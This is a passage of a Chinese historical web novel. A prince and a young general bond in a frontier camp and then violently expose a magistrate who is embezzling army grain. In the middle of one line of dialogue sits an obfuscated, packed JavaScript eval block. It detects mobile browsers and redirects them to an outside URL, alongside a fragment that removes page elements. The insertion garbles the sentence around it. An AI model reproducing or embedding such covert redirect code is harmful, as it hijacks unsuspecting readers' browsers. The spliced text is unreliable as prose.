去救人的,怎么命悬一线;被救的,反倒把人抱了回来。 这画面太过离奇,离奇到让人不敢贸然下判断。有人脑中甚至闪过更糟的念头,这是不是设下的局?毕竟三皇子,是奉旨而来的监军,是此行真正握着生杀之权的人。 越想,越乱。 迟将军脚步一顿,神色在火光下几不可察地沉了一分。 裴与驰却没有解释,也没有寒暄。他抱着人站定,连多余的目光都未曾分出,只抬眼看向营中,语气干脆到近乎冷硬:“军医呢?” 这一声问话,直接把所有猜测压了下去。 他低头看了一眼怀里的人:“迟铎中毒了。” 3. 玄铁剑 迟铎再次醒来时,先映入眼帘的是熟悉的花梁雕花。梁木纹路清晰,漆色未褪,帐顶垂下的流苏一动不动,空气里弥漫着淡淡的药味,混着他自己屋中惯用的熏香。 这是他的房间。 他心里很清楚,可在彻底清醒之前,脑中还是掠过一个念头,那些血腥、夜奔、马蹄与风声,会不会只是高烧里做的一场梦。 迟铎动了动指尖,缓慢地吸了一口气,又吐出来。胸腔随之起伏,不再有撕裂般的疼,只剩肩臂仍旧发胀,却已不是那种剜肉蚀骨的痛。 门被推开,一名小厮端着药碗进来,看见他睁着眼,愣了一下,随即脸色一喜,几乎是下意识地压低了声音:“少爷醒了?” 迟铎“嗯”了一声,嗓子干得发疼。 小厮快步走到床前,把药碗放下,又伸手探了探他的额头,动作熟练,显然已经不是头一回:“烧是退了,可军医说还得静养,不能逞强。老将军方才还来过一趟,见您没醒,又去前帐了。” 迟铎闭了下眼,心里便有了数。 果然不是梦。 “三皇子呢?” 他开口时声音还有些发虚,一张口,问的却是裴与驰的安危。 纵马逃出的后半段路途早已记不真切,只剩冷风扑面、马蹄杂乱的零碎印象。缰绳在掌下收紧又放松,几乎全凭本能。那一路,他是硬撑着把人带回来的。 迟铎心里却清楚得很。那一夜若是真倒下的是三皇子,牵着的便绝不只是他们二人这一场生死。皇子殒命边关,迟家首当其冲,迟家军更难脱干系,纵有再多的血与功,也未必填得平这桩祸事。 更何况,那个人在危急关头,已经不止一次把他从死地里拽了回来。 “殿下如今住在军营。” 迟铎微微一怔。 这事说来,并不简单。昨夜迟老将军连夜调人,将自己原本的房间收拾出来,原想着暂且安置三皇子一行。城中酒肆已然出事,三皇子遭人伏击,被擒入敌营,纵然后来幸运脱身,也断不敢再把这尊大佛送回去。 可被军师劝下来,将人留在将军府,又实在不妥。三皇子名义上是带着粮草慰军,实则身负监军之责,尚方宝剑在身,代表的便是天子耳目。若迟家表现得太过热络,外头看去,难免要生出别样心思。尤其是皇上会怎么想?是否会疑迟家与沈家暗中勾连,早有勤王之意? 可偏偏,三皇子又救了迟铎一命。边关艰苦,军营清寒,将人往那样的地方一送,迟老将军心里又实在过不去。 正当众人权衡再三之际,三皇子却是自己开了口,不必府中安置,也不回城内酒肆,只在军营暂住。 话说得平静,态度却不容置喙,反倒把所有为难一并压了回去。 迟铎不由想起初见裴与驰时的模样。 锦袍在身,虽破损沾血,却一眼便看得出是上好的丝绸料子,说话行事也透着股不大把人放在眼里的劲儿。分明是养尊处优惯了的人,平日里在宫中,怕是地龙不熄、香薰不断,连夜风都有人替他挡着。真要拿民间来比,大概就是世家深宅里被捧着长大的公子哥。 这样的人,丢到军营里来,能行么? 迟铎心里啧了一声。 帐篷漏风,夜里冷得要命,饭是糙的,水是凉的。就算是他父亲的帐中,也不过多铺了张虎皮,添了个火炉,再没别的讲究。那位三皇子若是半夜被冻醒,会不会暗骂自己接了个苦差事。 想到这里,迟铎忽然觉得有点好笑。 因为他发现,自己竟想象不出裴与驰那张脸叫苦连天的模样。 饭菜的香味打断了他的思绪。病势一退,胃口立刻醒了过来,腹中空得发紧,他这才后知后觉地意识到,自己已经许久未曾正经吃过一顿热食。 而另一边,被他在心里“污蔑”了半天会叫苦连天的三皇子,此刻正坐在军营的帐篷中,接见随行亲卫。 “回来了?” 帐中陈设极简。一张行军床,一张木桌,两把椅子,已将地方占得差不多,多添一件,便得有人站着。军师送来的文房四宝,被原样退了回去;迟老将军特意命人送来的虎皮,也被三皇子挡在帐外,连个多余的说辞都没有。 桌上的饭菜还未撤下。是迟府特意开的小灶,为的是图个稳妥,也顺带改善伙食。比起军中常见的清粥面饼,这一桌已算得上丰盛,有肉有菜,热气尚存。只是边地苦寒,物资有限,这样的饭食,放在军中已属难得,若拿去与皇宫相比,却实在算不上什么。 裴与驰坐在那里,袖口挽起,神色如常,仿佛并未觉得有何不妥。亲卫回禀完事情,目光在那张桌子上略停了一瞬,又很快收回,低声问道:“殿下可还吃得惯?”裴与驰抬眼看了他一眼,语气平淡:“够了。”顿了顿,又补了一句,“不必再费心。” 亲卫应声退下。帐中安静下来,裴与驰指腹在桌沿轻轻敲了一下,思绪却已转了几转。亲卫带回来的消息不多,却足够刺眼:酒肆老板一家老小,一夜之间尽数消失,踪迹无处可寻。 酒肆遇伏,绝非偶然。行程本就隐秘,能让匈奴提前设伏,必然是消息先一步泄露,对方有备而来,甚至算准了他的去处。 泄露从何而来? 若是边关这头…… 迟家? 这个念头只在心中掠过,便被他自己按了下去。迟家若真有异心,事情便不会止于一场伏击。钦差尚未在边地站稳脚跟便横遭不测,等同火烧圣旨,这样的事一旦做了,便再无回头路,迟家不至于如此冒进。更何况,昨夜迟铎救他时的情形,实在不像是苦肉之计。那般险境,生死只在顷刻之间,稍有差池,便是两条命一并交代。迟铎又是迟家独子,虎毒尚且不食子,迟将军更不可能拿这一脉去赌。 若非迟家,那便只能是京中。 有人不欲他回京,甚至不惜与匈奴勾连,借敌手之力,置他于死地。更甚者,这种勾连并非临时起意,而是早已有之,只待一个合适的时机,将他送入敌营。 念头至此,裴与驰的神色终于沉了下来。 若真如此,迟家多年镇守边关,却始终未能彻底平定匈奴之患,便不只是“将在外有所不受”的缘故了。朝堂之争,恐怕早已越过宫墙,悄然蔓延到了这片边境。 迟家军,真就是铁板一块么? 裴与驰端起茶盏,抿了一口,神色却并未因此变得凝重。这样的局面,于他而言,反倒算不上坏事。人既已在军营,明枪暗箭便避不开,牛鬼蛇神迟早要露面,与其处处设防,不如索性看个清楚。 他心里有数。这里未必比城中安全。帐外刀兵在侧,夜里巡防频繁,真要有人动手,反倒更近、更快。可也正因如此,藏着的东西,才更容易现形。 他向来不惧这些。 宫墙之内待得久了,规矩层层,刀剑束之高阁,一身武艺学来,却无处施展。如今边关风高浪急,局势明晃晃地摆在眼前,倒像是特意替他铺好的场子。 正好。 许久未曾真正动手,昨夜权当热了热身。既然戏已开场,便该有几分看头才是。 至少,也该是迟小将军那样的。 尊贵的三殿下想瞌睡,正好遇上了枕头。入夜不久,帐外果然有了动静。 一道身影贴着暗处掠过,脚步极轻,落地无声,若是寻常人,多半只会当作夜猫走动,听过便算。那人靠得近了些,呼吸被刻意压低,手伸向帐帘。下一瞬,帐口刚被挑开一道缝,寒光骤起,一柄剑横陈在刺客喉前,贴得极近,只需稍微一歪,便能割断喉骨。对方身形猛地一僵,动作停在半空,连呼吸都不敢再重上一分,双手缓缓抬起。 “是你?” 裴与驰看清来人,眉峰微挑,顺手将剑收了回去。 帐外的人也愣了一下,随即掀帘钻了进来,动作熟门熟路,脚下半点不虚,像是前一晚压根没在鬼门关前走过一遭。迟铎手里还拎着个油纸包,热气隔着纸都能透出来,香味先一步钻进帐里。 “路上正好巡了一圈。”他低声道,把东西往桌上一放,“想着你这儿大概有热闹,就顺道过来看看。” 话一出口,他自己先顿了顿,像是才意识到说漏了嘴,立刻补了一句:“顺便……给三殿下您送点吃的。” 裴与驰看了他一眼,又看了眼那包东西,没有立刻去接。迟铎却已经凑了过来,一副献宝的模样:“三殿下晚间没吃饱吧?府上的老王做菜实在不成,年岁一大,不是手一抖倒翻盐罐,便是索性忘了放。这个不一样,我特意绕去食肆买的油酥鸭。” “夜里吃得太饱,反应会慢。”裴与驰淡声回绝,又顺带提醒了一句,“迟小将军这个习惯,也该改改。” 他顿了顿,目光在迟铎身上停了一瞬,“否则,也不至于连箭到眼前,都没能第一时间避开。” 迟铎一口气卡在喉咙里,半晌没接上来。 这世上怎么会有这样嘴损的人。本还惦记着给救命恩人改善伙食,念头还没落地,便被一句话堵了回来。他心里冷哼了一声,只觉自己这点好心,实在多余。 可这些话终究没出口,出口的,却是他早就憋在心里的一件小事。 “喂。”他忽然喊了一声,先前那点恭敬不知何时散了个干净,抬眼看向裴与驰,语气生硬得很,“卑职姓迟,名铎。” 顿了顿,又接了一句:“三殿下,能不能别一口一个‘迟小将军’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239941|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地叫?” 在山洞里他便已见缝插针地自报过姓名,这位三皇子武艺不俗,心思也深,情报更是不缺,不可能不知道他是谁。可偏偏不肯叫名,只慢条斯理地唤一句“迟小将军”,听着客气,落在耳中却怎么都不痛快。 “你不也一直唤我三殿下?” 迟小将军是改成了“你”,可三殿下却顺势反将一军。 迟铎被噎了一下。话是这么说没错,可他总不能真去唤皇子的名讳。先不提这位会不会怪罪,他爹若是听见,怕是鞭子都来不及停。 “那……”他忍了忍,还是没忍住,闷声问道,“卑职该如何称呼殿下?” 裴与驰没有立刻回答,只看了迟铎一眼,像是在打量,又像是在思索,随后却问了句毫不相干的:“你生辰在何时?” 迟铎一愣,下意识便报了。 裴与驰听完,略一盘算,唇角极轻地动了一下,语气依旧冷淡:“我比你大两个月。” 他说到这里,停了一瞬,像是终于想好了答案:“叫我与驰哥哥便是。” 迟铎沉默了。 这一刻,他忽然觉得,方才那声“迟小将军”,其实也不是不能忍。 裴与驰看了他一眼,像是终于看够了他吃瘪的神情,偏过头去,没忍住轻轻笑了一下。笑意极淡,转瞬即逝,却刚好被迟铎看了个正着。 迟铎心口那点气“噌”地一下就顶了上来,这人分明就是故意的。 什么君臣有别,什么救命之恩,全被他一并抛到了脑后。他索性也不客气,抬脚进帐,把这里当成自家屋子似的,大剌剌地坐了下来,偏还专挑裴与驰方才坐的那张。 他当着裴与驰的面拆开油纸包,油酥鸭的香气立刻在帐中散开。迟铎低头啃了一口,直接上手撕着吃,半点不讲究。吃着吃着,目光却被桌上那柄剑勾了过去,那是方才差点要了他命的东西。 剑就随意搁在桌上,通身玄铁,没有半点多余装饰。剑鞘素净,既无雕纹,也无鎏金,连剑穗都省了,看着冷冷清清,朴实得过分。若是丢在军中,怕是混进一堆寻常兵刃里,都未必有人多看一眼。 迟铎盯了片刻,忍不住嘀咕了一声:“三……”话到一半,想起方才那场官司,硬生生拐了个弯,“……原来是用剑的。” 称呼被他含糊带过,生怕慢一步,就要被一句“与驰哥哥”当场纠正。他又看了那柄剑一眼,语气里带着点真心实意的诧异:“这剑……怎么这么素?” 说着便伸出手,指尖还沾着油,眼看就要往剑鞘上摸过去。 “迟铎。” 声音不高,语气平静,警告却再明显不过。 “小的遵命。”迟铎答得飞快,手收得比谁都利索。名字已经到手,他也就不再多事了。 话虽这么说,他还是没忍住,撇了撇嘴:“啧,你们这种……”话到一半,又觉得说得太满,干脆顺势改了口,“天潢贵胄,用的剑不该镶点宝石、刻点金丝么?再不济,也该看着贵气些。” 不像他们。杀人的东西,讲究的从来都是轻、快、顺手。迟铎自己的刀也是这样,打出来是什么样,就一直用什么样。更小的时候,是拿来对付狼的,后来,便换成了人。 裴与驰没有计较他话里话外的冒犯,只淡淡应了一句:“杀人的东西,只配这样。” 这话落下来,干脆利落。 迟铎心里忽然动了一下。他低头又看了那柄剑一眼,没再说什么,只觉得胸口那点说不清的感觉,比方才吃下去的油酥鸭还要热一些。要不是隔着个皇子的身份,他几乎要以为,自己遇见了个难得合拍的人。 “真不吃吗?”他还是没忍住,又问了一句,“这家确实不错,我吃了好几年。” 裴与驰没有答话,只伸手把手帕甩了过来,嫌弃之意摆得明明白白,随后又将一杯茶推到他手边。迟铎低头看了看那方帕子,又看了看茶,哼了一声,终究还是接了,胡乱擦了擦手,继续啃他的鸭子。 帐外的风一阵一阵地吹着,灯影随之轻轻晃动,一个没走,一个也没赶。一人低头吃着油酥鸭,一人靠坐着看,偶尔说上两句无关紧要的话,又很快安静下来。巡营的脚步声在远处起起落落,风偶尔掀动帐帘一角,又被压回夜色里。 帐内那盏灯,一直亮着。 一个生于深宫,一个长在塞北,说起见过的风景、用过的兵器、走过的路,各执一词,谁也不肯让谁。可说到最后,话题终究绕回那两件兵刃,玄铁长剑,通体如墨;长刀无纹,刃口生光,皆不尚华饰,只求落入掌中,生死有凭。 灯火映着两张尚未褪去锋芒的年轻面孔,有那么一瞬,说起某些事时,神色竟是一般无二。 4. 粮草 粮草未动,兵马先行。 裴与驰此行,原是先于粮草抵达边关。可人到了,粮却迟迟不至。两月将满,塞北春寒拖得极长,霜冻未散便逼入夏,地里收成比往年更薄。哪怕是平年,边关屯田也不过勉强支撑;如今遇上长冻,本地粮食根本不够吃,只能指望朝廷的粮草续命。 可这口续命药,迟迟不来。 军中库存很快见底。粥一日比一日淡,饼子掰开来,杂粮的颜色一眼便能看出。有人夜里去仓房转了一圈,回来时一句话也没说。第二日巡营,议论声却比往常多了些:路不通、天不好、朝廷失察,甚至还有更难听的猜测。 军心不稳,是大忌。迟了了为此急得上火。 军师送来的消息却很清楚:粮草并非未发,而是滞在长衡县。长衡离边关不远,是通往塞北的最后一道关卡。再往北,便是军镇与草原。按理说,粮草一到这里,三五日便该入营。可偏偏,停在此处,压着不动 长衡县令吴义,本是京中挂名的闲官,仗着出身,在城里混了个差事。前些年当街作威作福,打伤了人,被御史弹劾,贬到地方。若只是如此,也算不得什么。偏偏,他是户部右侍郎吴嵩的子侄。吴嵩素来行事谨慎,早年便投在左相闻铮门下,户部钱粮多由他经手。吴义犯事,靠着叔父在京中周旋,不但遮掩了罪名,还替他谋了这个“好去处”,长衡是粮道要地,来往粮车络绎不绝,最方便上下其手。 消息传回营中,结果其实很清楚。 要么,是天寒地冻、道路不顺,粮草被迫压在长衡;要么,便是有人有意为之。 若是前者,兄弟们咬牙扛几天,也就过去了;可若是后者,太子一系扣住三皇子押送的粮,把边军的救命药当成朝堂博弈的筹码,那这件事,便不只是“粮未到”的问题了。 迟家,恐怕很难独善其身。 是朝廷一时失察,还是根本就没打算让这批粮草准时到达?再往深处想,便更叫人心寒。若朝廷真心要养这支边军,怎会容许粮草卡在最后一道关卡?若这不是耍着他们玩,又是什么?难道皇上也要因大统人选未定,将这烂摊子往边关一扔? 迟了了自问忠的是裴家,护的是百姓,可兜兜转转,他竟也不得不去想,忠裴家的谁。 这边焦头烂额,那边也在思索对策。 这一步拦粮,卡住的从来不只是边军,更是狠狠打了裴与驰的脸。他是奉皇命北上慰军而来,粮草在名,监军在实。无论如何,这一趟至少该是“礼到人到”。军中就算心里有怨,也会看在皇子的身份与圣旨的分量上,敬他三分。可如今,人到了,粮却没到,这便成了一件极其危险的事。在边军眼中,他究竟算什么?是空有其名、办不成事的三皇子?还是干脆就代表着圣上的意思,拿粮草吊着他们的命,耍着这支军队玩?一旦这个念头在营中生根,后果便不可控。粮一日不到,怨气便一日积着。等到军中真有人撑不住,起了乱子,这把火第一个烧到的,绝不会是远在京城的朝堂。 而是他。 到那时,边军暴动也好,失控也罢,都有的是说法。可裴与驰这条命,怕是就不好说了。 裴与驰帐内,两名亲卫单膝跪地。这两人,皆是他的死士。自幼由外祖请旨,从禁卫军中精挑细选,送到他身边,一路跟随至今。此刻齐齐跪下,劝他三思。 “殿下,此事牵连甚广,还需从长计议。” 裴与驰却已起身,将外袍拢好,随手收拾行装,动作利落,面色不改。 “等不起。”他说得平静,却没有半分商量的余地。 过了这么些时日,军营里倒没见刺客,可有人终于藏不住马脚。山不动,他动。粮草既滞留在长衡,那便亲自去看看。 他抬眼,看向站在一旁的武秦:“你拟一封拜帖,以我名义。” 武秦一凛,立刻应声。 “让长衡县令吴义,备衙相迎。” 拜帖是上午送出去的,未过申时,回信便已递回营中。字句极恭,措辞周全,只说衙署已备,静候殿下驾临。裴与驰看完,连多问一句的意思都没有,直接起身。 “走。” 他这一去,并未张扬。可收到风声的迟将军仍是按捺不住,上前试图劝阻,却被亲卫拦下。只能对着亲卫吐露几句肺腑之言:长衡虽近,终究是地方官辖地,又牵着粮道,贸然前往,总要防着有人生事。尤其吴义是太子一系的人,黑手难防。 迟将军一番好心被武秦婉言谢绝,甚至都没报到裴与驰那里。边境算得上危机四伏,吴义来者不善,难保迟家没有二心,若是联合围剿殿下,那才是真正的危机四伏。 最终只有十余名亲卫随行而去。 到了长衡县衙,吴义已率县丞、主簿等一干属官在门前恭候。人来得齐整,衣冠也体面,见到裴与驰下马,齐齐行礼,口中称呼恭敬,姿态做得十足。 裴与驰却无意与他们寒暄,只扫了一眼,开门见山:“粮草为何滞留在此?”话落,县衙前一瞬间安静下来。吴义脸上神色不变,似是早有准备,拱手笑道:“殿下一路风尘,想必劳顿。此事牵涉账目与路况,一时半会儿也说不清,不如先行歇息,容下官为殿下接风洗尘,稍后再细禀。” 说得滴水不漏,字字都在理上。裴与驰看了他一眼,没有当场驳回,只点头示意带路。一行人随即移步酒楼。包厢早已备好,临窗而设,陈设雅致,显然是提前安排过的。裴与驰落座,亲卫们都立在身后,防范之意很明显,面子给三分,刀却不离身。 酒还未上,话也尚未开口,帘外却忽然传来一阵细碎的脚步声。一群舞女被引了进来。个个年岁尚幼,衣裙鲜艳,神色却拘谨。有人低着头,有人眼神飘忽,显然并不自在。吴义端着酒杯,笑意温和,目光却在她们身上一一扫过。有两个女孩在他目光示意下,迟疑了一瞬,终究还是硬着头皮往前走,步子放得极轻,像是怕踩错一步。刚要靠近,裴与驰已微微侧身,避开了,动作不大,却干脆利落。那两个女孩一愣,站在原地,进退不得。 裴与驰这才抬眼,看向吴义,“吴县令。”声音不高,却冷得很,“这是何意?” 这一句问出口,席间的笑意便像被人一把掐断。吴义没说话,一旁的主簿却像是早有准备,脸皮厚得惊人。他略一怔,随即站起身来,作了个不大不小的揖,语气反倒显得十分无辜:“不关吴县令的事,是下官疏忽,自作主张唐突了殿下。” 他说着,侧身把那两个舞女往前一推,话锋一转,竟顺势落到了她们身上。“这两个丫头年纪小,不懂规矩,许是听闻殿下一路奔波,又遭了劫难,想着殿下在军营清苦,才自作主张,想为殿下解解乏。”他说得轻巧,仿佛这“自作主张”是天大的善意。 “她们别的本事没有,跳舞作乐还算拿得出手。”吴义笑了笑,又补了一句,“久闻殿下剑艺惊人,若殿下兴起舞剑,有她们在旁助兴,倒也是一桩雅事。” 话音落下,席间安静得过分。那两个被推到前头的女孩低着头,指尖发白,连呼吸都放得极轻,显然极其惧怕身边之人。脸皮之厚,竟能把这等腌臜事,轻描淡写地推到被迫而来的幼女身上。 跟着裴与驰一同入席的亲卫中,有一人戴着面巾,站在稍后的位置。他原本抱臂不动,此刻却没忍住,低低“啧”了一声,声音极轻,却带着毫不掩饰的嫌恶。 裴与驰没有说话,只是看着吴义。吴义在官场打滚多年,见惯了官威、套熟了人心,可此刻被这样一双眼睛盯着,后颈却还是不由自主地渗出了一层汗。那不是寻常的威压,是皇室血脉自带的东西。哪怕年纪尚轻,哪怕羽翼未丰,但目光依旧叫人不敢直视。 吴义终于有些坐不住了。他移开视线,借着整衣的动作,朝一旁使了个眼色。主簿会意,抬手轻轻拍了两下。下一瞬,几名衙役抬着一个箱子进来,落地时发出沉闷的一声响。箱盖掀开,金锭码得齐整,分量不低。吴义这才重新开口,语气带着几分自以为周到的体贴:“殿下一路辛劳,下官不敢怠慢。” 他叔父吴嵩久居京中,对宫里的规矩再清楚不过。皇子在外看着风光,实则用度受限,私财被看得极紧。圣上倡简朴,名声在外,可真正能随意支配的银钱,反倒不多。 这一箱金子,便是他们的诚意,也是他们的试探。粮草滞留长衡,账目自可慢慢核;边军缺粮,也总能找得到说辞。只要三殿下肯点头,这批粮便可“顺理成章”地压着,他们囤货在手,转手一卖,无论是粮商,还是草原那头,自有一条发财的路。至于边军的死活,从来不在他们的账本上。要也可以,拿钱来买,价高者得。 “你方才说,”他语气平静,“粮草滞留,是因路况与账目?” 吴义一怔,下意识点头,他以为三皇子这是听进去了。只要顺着台阶把话圆回来,再装模作样告个罪,这事便能拖过去。粮在手里,人还在边关,总有转圜的余地。 念头刚起,话还未出口。 裴与驰已侧过头。 “武秦。” 只两个字。 武秦与另一名亲卫同时上前,动作干净利落。刀光一闪,快得几乎没有声响。等众人反应过来,主簿已被一刀封喉,喉间血线迸开,溅在箱角上,温热地往下淌。 席间骤然死寂。舞女僵在原地,连呼吸都忘了;衙役的手停在半空,谁也不敢动。 裴与驰的目光重新落回吴义身上。 “账目的事,已经解决了。”他语气冷漠,像是在处理一件再寻常不过的小事。 他微微偏头,声音不高,却压得人背脊发寒:“那路况呢?吴县令还有什么说法?” 吴义被这突如其来的一幕彻底惊住。温热的血几乎是迎面喷上来的,溅在他脸上,顺着鬓角往下淌,有腥咸的液体滑进嘴里。他愣了一瞬才意识到那是什么,喉咙猛地一紧,胃里翻涌上来,当场干呕出声。他踉跄着后退半步,脸色煞白,袖口胡乱去擦,却越擦越脏。直到这时,他才真正明白:这位三皇子,不只是眼神像那位,连行事也像那位,难怪太子这些年无法安眠。 吴义的眼神骤然变了。惊惧褪去,取而代之的是被逼到绝路的狠意。他猛地抬手,几乎是下意识地做了个手势,动作又快又急。下一瞬,包厢一侧的屏风后传来轻微的响动,暗门被推开。一群黑面人鱼贯而出,动作整齐,步伐沉稳,显然早已埋伏多时。他们迅速散开,将裴与驰围在当中,刀剑出鞘,寒光逼人。 气氛在瞬间绷紧。原本还在席间的舞女早已吓得缩到角落,连尖叫都不敢发出。酒楼外的喧闹仿佛被隔在了另一个世界,只剩下兵刃摩擦时低低的声响。吴义站在包围之外,胸口剧烈起伏,脸上的血迹尚未擦净,混着冷汗,狼狈不堪。他的声音因惊魂未定而发颤,却仍强撑着开口:“殿下……”他勉强扯出一个笑,“本来是想和气生财的。走到这一步,也是您逼我的。” 裴与驰动也没动:“吴县令,你是承认背着朝廷豢养私兵了?” 吴义脸色一僵,随即冷笑了一声,索性不再遮掩:“殿下说得严重了,这块地界本就蛮荒。来往之人又杂又狠,真要出了事,朝廷那边拍马也赶不上。下官不防身,只怕尸体凉了,都没人来收。” 他往前半步,声音低了下来,却更显阴沉:“三皇子,这也不是我一人的主意。我不过是个九品芝麻官,被贬到这鬼地方,想着能有碗热粥过活便算不错了。” 他抬了抬下巴,语气里带着毫不掩饰的轻蔑:“可上头不许啊。钱和粮,是大事,我也只是替上头把这两样东西守着罢了” “至于那些丘八——”他嗤了一声,“给他们吃饱了,又能如何?这么多年了,不也没见打赢过几场仗。而且,他们不还能吃匈奴肉吗。” 话音落下,站在裴与驰身后的那位遮面亲卫脸色瞬间沉了下来,手已按上刀柄,几乎要上前一步。 可还未等他动作,一道冷光已先一步破空而出。 玄铁剑出鞘。 裴与驰单手开剑,动作极快,毫无花哨。剑锋一送,直指吴义,甚至不给人反应的余地。吴义只来得及瞪大眼,避无可避。剑气逼近,整个人被生生逼得往后踉跄,脚下失了力道。下一瞬,利刃贯入左肩,将他连人带肩,狠狠钉在身后的木柱上。 “砰”的一声闷响。 木屑飞溅,鲜血顺着剑身淌下,染红了衣襟。吴义张着嘴,却发不出半点声音,只剩下剧烈的喘息和因疼痛而不受控制的颤抖。 裴与驰站在原地,神色没有半分波动,他环视四周,下令:“吴县令认罪,陈主簿伏诛。其余人,全部活捉。” 话音尚未完全落地,一道寒光又破空而出。飞刀疾射而去,角度刁钻,力道精准。一个早已察觉不对、正欲从侧门遁走的人还没迈出第二步,手掌便被飞刀生生钉在门框上。惨叫声骤然炸开,那人重重摔倒在地,挣扎着想爬,却只换来更剧烈的痛呼。 裴与驰回头。 迟铎不知道什么时候混入队伍中。方才那一句“丘八”,显然戳中了这位小将军。他手腕一翻,飞刀已重新入掌,动作干净利落,连余光都没多给地上那人一个。 下一瞬,他已动了。身形掠出,快得几乎看不清。桌椅被踢翻,兵刃撞击声接连响起。迟铎出手毫不留情,却又精准得可怕,不致命,却让人瞬间失去行动能力。手腕、膝弯、肩颈,每一次落点都像是早已算好。不过片刻,原本还气势汹汹的黑面人便倒了一地,或被压制在地,或被缴械按倒,连反击的机会都没有。酒楼内重新安静下来。只剩下粗重的喘息声,和木柱上吴义因失血而愈发急促的呼吸。 迟铎站直身子,抬手抹去溅到脸侧的一点血迹,这才退回裴与驰身侧。他这才发觉自己面巾不知何时丢了,便冲裴与驰讪讪一笑。 裴与驰看了他一眼,没追究,等武秦他们把桌上那群人捆好后,裴与驰的目光越过吴义,落在一旁被按住的那人身上。 “刘县丞。” 他声音不高,却叫人背脊发凉, “现在这里归你管,你搞清楚发生了什么了吗?” 刘县丞整个人一抖。裤脚下方,很快洇开一片深色水迹。他几乎是下意识想跪,却被亲卫按着肩膀动弹不得,只能站在原地发抖。 他哪里见过这样的阵仗。刘县丞原本只是个读书人。寒窗多年,好不容易考了个进士,本想着在地方做个清清白白的小官,安稳过日子。被分到长衡后,老老实实坐着县丞的位置,按章办事,从不多嘴。县令与主簿在外如何张扬,他不是不知道,只是不敢管,也管不了。他家里一穷二白,俸禄微薄,日子紧得很,平日里还要替人誊写字帖贴补家用。他既没有靠山,也没有门路,更不懂这些官场里盘根错节的弯弯绕绕。在县衙里,他不过是个被叫来凑数的。吴义从没把他当回事,遇事也从不与他商量。主簿掌账,县令拍板,他这个县丞,连账目都摸不到边。 可偏偏,事情闹到这个地步,活下来的,只有他。 刘县丞嘴唇发白,喉咙滚了几滚,才勉强挤出声音。“下、下官……”声音抖得不成样子,吴义无恶不作不假,可这位三殿下,也绝不是好相与的。年纪尚轻,却敢当场动手。此刻被钉在木柱上、生死不明的县令,便是最好的证据。 裴与驰看他六神无主,抖若筛糠,判断他确实未曾深度参与,便没再逼迫,只将话头转回正事。“吴义,其罪有五。”刘县丞猛地一震,下意识抬头。 “其一,私扣朝廷粮草,滞留不发,致边军断粮,军心不稳。” “其二,勾结粮商,囤积居奇,意图转卖牟利,坐视军中饥馑。” “其三,”擅自豢养私兵,设伏于官署之内,形同割据。” “其四,”纵容属官贪墨账目,主簿代管粮账,造假牟利,拒不交代实情。” “其五——”裴与驰顿了顿,目光扫过席间倒地之人,语气愈发冷淡,“辱骂边军,蔑视军功,以军士性命为交易之物。” 话音落下,酒楼里安静得可怕。 “以上诸条,桩桩件件,皆有在场人证,亦可清点仓账、搜查暗门佐证。” 裴与驰这才看向刘县丞:“你记清楚了,按实写,一条不许漏。即刻封存长衡仓廪,点清粮数,调兵护送,一并呈报兵部、户部与御史台。” 他说完,语气极轻,却不容置喙,“这是你唯一能活下来的路。” 迟铎原本低着头,装作亲卫,一直没开口。直到听到这里,他眉目微微一动,目光越过席间狼藉,落在角落里那群缩成一团的幼女身上。她们年纪尚小,衣衫单薄,脸上还残留着惊惧未散的神色,有人死死攥着衣角,有人连抬头都不敢。 他张了张口,似乎想说什么。 裴与驰已先一步开口:“这群私兵全身扒净,逐一审问来路,谁供养,谁调派,一条一条查清。” 语气冷硬,没有半分犹豫,随后,他的视线转向那些女孩。“至于她们。”裴与驰停了一瞬。“逐一核查奴籍,涉案所得,一律作废。一个对一个,去掉奴籍。登记造册,暂由县衙收管。编入良籍,交由地方妇孺所安置。” 他顿了顿,又补了一句:“不得再入乐籍。” 话音落下,席间无人敢应声迟疑。迟铎站在一旁,听到这里,眼神轻轻动了一下,最终什么也没说,只默默收回了视线。 等一切安排妥当,酒楼被封,人证、账册、私兵尽数押走,裴与驰几乎没停歇,便直返县衙。查账、清库、点粮。一桩接一桩,容不得喘气。县衙里灯火通明,原本油水十足的地方,此刻却人人噤声。衙役们低头来往,脚步放得极轻,生怕惹眼。 迟铎混在人群里,见正事已定,心里盘算着是不是该趁乱退下。他脚步悄悄一挪,刚要往门口靠—— “站住。” 声音不高,也没点名道姓。可某个心虚的,当场就停了。迟铎脚下一顿,背脊不自觉挺直,慢慢转过身来。 裴与驰正低头翻着账册,连眼皮都没抬:“你来干嘛的?” 问得十分不客气。 迟铎一噎,这一问,要搁在旁人身上,早该跪下请罪了。可偏偏这两个月来,两人几乎是天天混在一处。起初是借着迟铎毒伤未痊愈这个名头,被迟将军一句“年岁相仿,好有个照应”,毫不留情地“发配”来陪三皇子。说是照应,实则陪护,生怕这位殿下在军营里出什么差池。 后来便是你一句我一句,谁也不让谁,斗嘴斗到连旁边的人都懒得劝。再后来,不知从什么时候起,变成了切磋。从拳脚到兵刃,从清晨打到日头偏西。输的人请酒,赢的人嫌对方出手太慢。一开始还都是正经路数,抱着真要分个高下的心思,后来便彻底歪了:耍赖、绊腿、锁喉,什么招都往上使。 小将军不像小将军,皇子殿下也不像皇子殿下。 有一回,两人滚进草地里,迟铎被裴与驰牢牢压住,怎么挣都挣不开,最后实在没辙,抬手拍地:“行行行,你赢。”认输的相当干脆。等两人起身拍灰的时候,迟铎一点不觉得丢脸,反倒理直气壮:“那等下你请,我要望月楼的荷花酥。” 裴与驰:“?” 还没等三皇子开口讥他一句“哪来的耍赖鬼”,迟铎已经先动了。他极其大不敬地用肩膀撞了裴与驰一下。自从混熟之后,被压在身下都是常事,碰下肩又算得了什么。 